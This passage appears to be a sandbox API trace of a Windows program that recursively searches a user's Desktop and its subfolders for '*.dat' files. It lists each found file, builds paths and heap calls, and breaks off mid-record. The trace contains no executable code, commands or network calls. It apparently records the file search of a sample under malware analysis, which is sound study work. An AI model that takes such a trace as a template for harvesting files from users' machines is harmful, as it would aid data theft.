hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ac00 | out: hHeap=0x2110000) returned 1 [0099.522] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa3a8 | out: hHeap=0x2110000) returned 1 [0099.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.522] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113138 [0099.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113138, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.522] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113138 | out: hHeap=0x2110000) returned 1 [0099.522] PathMatchSpecW (pszFile="ht3A.swf", pszSpec="*.dat") returned 0 [0099.522] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.522] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe1749e0, ftCreationTime.dwHighDateTime=0x1d7a6f3, ftLastAccessTime.dwLowDateTime=0x1cf42150, ftLastAccessTime.dwHighDateTime=0x1d7a707, ftLastWriteTime.dwLowDateTime=0x1cf42150, ftLastWriteTime.dwHighDateTime=0x1d7a707, nFileSizeHigh=0x0, nFileSizeLow=0xb2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2i7j8UItWZYJ.csv", cAlternateFileName="J2I7J8~1.CSV")) returned 1 [0099.522] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.522] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.522] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="j2i7j8UItWZYJ.csv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv" [0099.522] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.522] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.522] lstrcatW (in: lpString1="\\", lpString2="j2i7j8UItWZYJ.csv" | out: lpString1="\\j2i7j8UItWZYJ.csv") returned="\\j2i7j8UItWZYJ.csv" [0099.522] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.523] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x31) returned 0x33aada0 [0099.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", cchWideChar=49, lpMultiByteStr=0x33aada0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", lpUsedDefaultChar=0x0) returned 49 [0099.523] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21129c0 [0099.523] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aada0 | out: hHeap=0x2110000) returned 1 [0099.523] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.523] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130d8 [0099.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130d8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.523] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130d8 | out: hHeap=0x2110000) returned 1 [0099.523] PathMatchSpecW (pszFile="j2i7j8UItWZYJ.csv", pszSpec="*.dat") returned 0 [0099.523] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21129c0 | out: hHeap=0x2110000) returned 1 [0099.523] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="km0vcCJ", cAlternateFileName="")) returned 1 [0099.523] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.523] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.523] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.523] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.523] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.523] lstrcatW (in: lpString1="\\", lpString2="km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.523] lstrcmpW (lpString1="km0vcCJ", lpString2=".") returned 1 [0099.523] lstrcmpW (lpString1="km0vcCJ", lpString2="..") returned 1 [0099.523] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.523] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\*.*" [0099.523] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.524] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.524] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.524] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\." [0099.524] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.524] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.524] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="." | out: lpString1="\\km0vcCJ\\.") returned="\\km0vcCJ\\." [0099.524] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.524] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.524] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.524] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.524] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\.." [0099.524] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.524] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.524] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2=".." | out: lpString1="\\km0vcCJ\\..") returned="\\km0vcCJ\\.." [0099.524] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.524] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.524] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf1b60, ftCreationTime.dwHighDateTime=0x1d7a0e0, ftLastAccessTime.dwLowDateTime=0x7ab1df80, ftLastAccessTime.dwHighDateTime=0x1d7a1bc, ftLastWriteTime.dwLowDateTime=0x7ab1df80, ftLastWriteTime.dwHighDateTime=0x1d7a1bc, nFileSizeHigh=0x0, nFileSizeLow=0x779f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2E2VUJLLm N3CcaeaCt.gif", cAlternateFileName="2E2VUJ~1.GIF")) returned 1 [0099.524] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.524] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.524] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="2E2VUJLLm N3CcaeaCt.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif" [0099.524] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.524] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.525] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="2E2VUJLLm N3CcaeaCt.gif" | out: lpString1="\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif") returned="\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif" [0099.525] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0099.525] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3f) returned 0x2112bb8 [0099.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", cchWideChar=63, lpMultiByteStr=0x2112bb8, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", lpUsedDefaultChar=0x0) returned 63 [0099.525] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112e40 [0099.525] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112bb8 | out: hHeap=0x2110000) returned 1 [0099.525] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.525] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130c0 [0099.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130c0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.525] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130c0 | out: hHeap=0x2110000) returned 1 [0099.525] PathMatchSpecW (pszFile="2E2VUJLLm N3CcaeaCt.gif", pszSpec="*.dat") returned 0 [0099.525] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112e40 | out: hHeap=0x2110000) returned 1 [0099.525] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818870, ftCreationTime.dwHighDateTime=0x1d7a1c4, ftLastAccessTime.dwLowDateTime=0x67e2f6d0, ftLastAccessTime.dwHighDateTime=0x1d7a7d1, ftLastWriteTime.dwLowDateTime=0x67e2f6d0, ftLastWriteTime.dwHighDateTime=0x1d7a7d1, nFileSizeHigh=0x0, nFileSizeLow=0xa4ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="3hAtRVuC3.xlsx", cAlternateFileName="3HATRV~1.XLS")) returned 1 [0099.525] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.525] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.525] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="3hAtRVuC3.xlsx" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx" [0099.525] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.525] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.525] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="3hAtRVuC3.xlsx" | out: lpString1="\\km0vcCJ\\3hAtRVuC3.xlsx") returned="\\km0vcCJ\\3hAtRVuC3.xlsx" [0099.525] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.525] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x33aaf60 [0099.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", cchWideChar=54, lpMultiByteStr=0x33aaf60, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", lpUsedDefaultChar=0x0) returned 54 [0099.525] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112b28 [0099.525] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaf60 | out: hHeap=0x2110000) returned 1 [0099.526] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.526] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fb8 [0099.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2112fb8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.526] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fb8 | out: hHeap=0x2110000) returned 1 [0099.526] PathMatchSpecW (pszFile="3hAtRVuC3.xlsx", pszSpec="*.dat") returned 0 [0099.526] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b28 | out: hHeap=0x2110000) returned 1 [0099.526] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FfCPM", cAlternateFileName="")) returned 1 [0099.526] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.526] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.526] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.526] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.526] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.526] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.526] lstrcmpW (lpString1="FfCPM", lpString2=".") returned 1 [0099.526] lstrcmpW (lpString1="FfCPM", lpString2="..") returned 1 [0099.526] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.526] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\*.*" [0099.526] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1898 [0099.526] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.526] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.526] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\." [0099.526] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.527] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.527] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2="." | out: lpString1="\\km0vcCJ\\FfCPM\\.") returned="\\km0vcCJ\\FfCPM\\." [0099.527] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.527] FindNextFileW (in: hFindFile=0x6d1898, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50156c00, ftCreationTime.dwHighDateTime=0x1d7a820, ftLastAccessTime.dwLowDateTime=0x7b165100, ftLastAccessTime.dwHighDateTime=0x1d7a8eb, ftLastWriteTime.dwLowDateTime=0x7b165100, ftLastWriteTime.dwHighDateTime=0x1d7a8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.527] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM" [0099.527] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\" [0099.527] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\FfCPM\\.." [0099.527] lstrcpyW (in: lpString1=0x19be24, lpString2="\\km0vcCJ\\FfCPM" | out: lpString1="\\km0vcCJ\\FfCPM") returned="\\km0vcCJ\\FfCPM" [0099.527] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM", lpString2="\\" | out: lpString1="\\km0vcCJ\\FfCPM\\") returned="\\km0vcCJ\\FfCPM\\" [0099.527] lstrcatW (in: lpString1="\\km0vcCJ\\FfCPM\\", lpString2=".." | out: lpString1="\\km0vcCJ\\FfCPM\\..") returned="\\km0vcCJ\\FfCPM\\.." [0099.527] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.527] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.527] FindNextFileW (in: hFindFile=0x6d1898, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1aefaf0, ftCreationTime.dwHighDateTime=0x1d7a69d, ftLastAccessTime.dwLowDateTime=0x67e6a640, ftLastAccessTime.dwHighDateTime=0x1d7a853, 